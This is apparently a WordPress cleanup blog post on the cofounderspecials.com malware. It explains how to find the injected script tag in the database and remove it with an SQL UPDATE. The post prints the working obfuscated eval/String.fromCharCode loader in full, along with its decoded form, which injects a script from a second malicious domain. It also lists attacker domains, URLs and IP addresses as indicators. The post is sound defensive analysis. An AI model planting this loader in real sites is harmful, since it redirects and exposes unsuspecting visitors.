wp-admin » How to Clean 🔴 cofounderspecials.com Malware

How to Clean 🔴 cofounderspecials.com Malware

According to publicwww about 5000 websites are known to be infected with this type of WordPress malware. It is similar to legendarytable.com malware and adds js code into every post and page so that visitors are redirected to third-party websites.


To check if your website is infected, open PHPMyAdmin, select your database, and search for “cofounderspecials.com“:

image 8 - How to Clean 🔴 cofounderspecials.com Malware

If there are results you will see Browse link next to the table:

image 9 - How to Clean 🔴 cofounderspecials.com Malware
image 10 1024x517 - How to Clean 🔴 cofounderspecials.com Malware

To clean these files from the database, run:

UPDATE `wp_posts` SET post_content = REPLACE (post_content, "<script src='https://trick.cofounderspecials.com/track.js?v=9.999' type='text/javascript'></script>", " ")

The script https://trick.cofounderspecials.com/track.js?v=9.999 shows:

eval(String.fromCharCode(118,97,114,32,112,115,115,115,32,61,32,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,34,115,99,114,105,112,116,34,41,59,32,118,97,114,32,119,97,110,116,109,101,101,32,61,32,102,97,108,115,101,59,102,111,114,32,40,118,97,114,32,105,32,61,32,48,59,32,105,32,60,32,112,115,115,115,46,108,101,110,103,116,104,59,32,105,43,43,41,32,123,32,32,32,105,102,32,40,112,115,115,115,91,105,93,46,105,100,41,32,123,32,32,32,9,32,105,102,32,40,112,115,115,115,91,105,93,46,105,100,32,61,61,32,34,115,112,101,99,116,114,101,112,111,105,110,116,34,41,123,32,9,9,119,97,110,116,109,101,101,61,116,114,117,101,59,32,9,32,125,32,32,32,125,32,32,125,105,102,40,119,97,110,116,109,101,101,61,61,102,97,108,115,101,41,123,32,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,105,100,61,34,115,112,101,99,116,114,101,112,111,105,110,116,34,59,115,46,97,115,121,110,99,61,116,114,117,101,59,115,46,115,114,99,61,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,49,54,44,49,49,54,44,49,49,50,44,49,49,53,44,53,56,44,52,55,44,52,55,44,49,48,56,44,49,49,49,44,57,55,44,49,48,48,44,52,54,44,57,56,44,49,48,49,44,49,49,54,44,49,49,54,44,49,48,49,44,49,49,52,44,49,49,53,44,49,48,52,44,49,48,53,44,49,49,54,44,49,48,49,44,57,57,44,49,49,49,44,49,48,56,44,49,49,55,44,49,48,57,44,49,49,48,44,52,54,44,57,57,44,49,49,49,44,49,48,57,44,52,55,44,49,49,53,44,49,48,56,44,57,55,44,49,49,53,44,49,48,52,44,52,54,44,49,48,54,44,49,49,53,44,54,51,44,49,49,56,44,54,49,44,52,56,44,52,54,44,53,55,44,52,54,44,53,53,41,59,32,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,32,125));

decoded:

> 'var psss = document.getElementsByTagName("script"); var wantmee = false;for (var i = 0; i < psss.length; i++) {   if (psss[i].id) {   	 if (psss[i].id == "spectrepoint"){ 		wantmee=true; 	 }   }  }if(wantmee==false){ 	var d=document;var s=d.createElement('script'); s.id="spectrepoint";s.async=true;s.src=String.fromCharCode(104,116,116,112,115,58,47,47,108,111,97,100,46,98,101,116,116,101,114,115,104,105,116,101,99,111,108,117,109,110,46,99,111,109,47,115,108,97,115,104,46,106,115,63,118,61,48,46,57,46,55); if (document.currentScript) { document.currentScript.parentNode.insertBefore(s, document.currentScript);} else {d.getElementsByTagName('head')[0].appendChild(s);} }'

trick.cofounderspecials.com
spectre.cofounderspecials.com
spectre.cofounderspecials.com
js.cofounderspecials.com
fly.cofounderspecials.com

https://js.cofounderspecials.com/splash.js
https://spectre.cofounderspecials.com/fine.php?pid=4362&tid=68964&cid=555
https://door.cofounderspecials.com/way.php?pid=553246&kid=685&uid=456389&mid=689332
https://cleargreenline.com/?p=mi4tsyrqmu5gi3bpg4ztqny&sub2=dreamspaceee
https://trick.legendarytable.com/news.js?v=9.4.9
https://trick.cofounderspecials.com/way.js?v=0.5.8
https://scripts.bettershitecolumn.com/sort.js?v=001
https://space.bettershitecolumn.com/cadfl8k.php?key=osyg7q7bz5ig7cma3vc7
https://beat.bettershitecolumn.com/bet.php?id=5478sid=32677&lid=68568
https://away.bettershitecolumn.com/track.php?tid=54889&lid=9554-66-457679-29
https://goldflowerservice.com/?p=mq2dgm3dgi5gi3bpg42dgna&sub2=Zvold2

118,97,114,32,112,115,115,115,32,61,32,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,34,115,99,114,105,112,116,34,41,59,32,118,97,114,32,119,97,110,116,109,101,101,32,61,32,102,97,108,115,101,59,102,111,114,32,40,118,97,114,32,105,32,61,32,48,59,32,105,32,60,32,112,115,115,115,46,108,101,110,103,116,104,59,32,105,43,43,41,32,123,32,32,32,105,102,32,40,112,115,115,115,91,105,93,46,105,100,41,32,123,32,32,32,9,32,105,102,32,40,112,115,115,115,91,105,93,46,105,100,32,61,61,32,34,115,112,101,99,116,114,101,112,111,105,110,116,34,41,123,32,9,9,119,97,110,116,109,101,101,61,116,114,117,101,59,32,9,32,125,32,32,32,125,32,32,125,105,102,40,119,97,110,116,109,101,101,61,61,102,97,108,115,101,41,123,32,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,105,100,61,34,115,112,101,99,116,114,101,112,111,105,110,116,34,59,115,46,97,115,121,110,99,61,116,114,117,101,59,115,46,115,114,99,61,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,49,54,44,49,49,54,44,49,49,50,44,49,49,53,44,53,56,44,52,55,44,52,55,44,49,48,56,44,49,49,49,44,57,55,44,49,48,48,44,52,54,44,57,56,44,49,48,49,44,49,49,54,44,49,49,54,44,49,48,49,44,49,49,52,44,49,49,53,44,49,48,52,44,49,48,53,44,49,49,54,44,49,48,49,44,57,57,44,49,49,49,44,49,48,56,44,49,49,55,44,49,48,57,44,49,49,48,44,52,54,44,57,57,44,49,49,49,44,49,48,57,44,52,55,44,49,49,53,44,49,48,56,44,57,55,44,49,49,53,44,49,48,52,44,52,54,44,49,48,54,44,49,49,53,44,54,51,44,49,49,56,44,54,49,44,52,56,44,52,54,44,53,55,44,52,54,44,53,53,41,59,32,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,32,125

88.85.94.246, 91.211.91.112, 101.99.95.147, 91.211.91.104, 185.177.94.108, 51.15.15.159

See also  How to add text after price in WooCommerce

Was this post helpful?

Leave a Comment

I enjoy constructive responses and professional comments to my posts, and invite anyone to comment or link to my site.

Recommended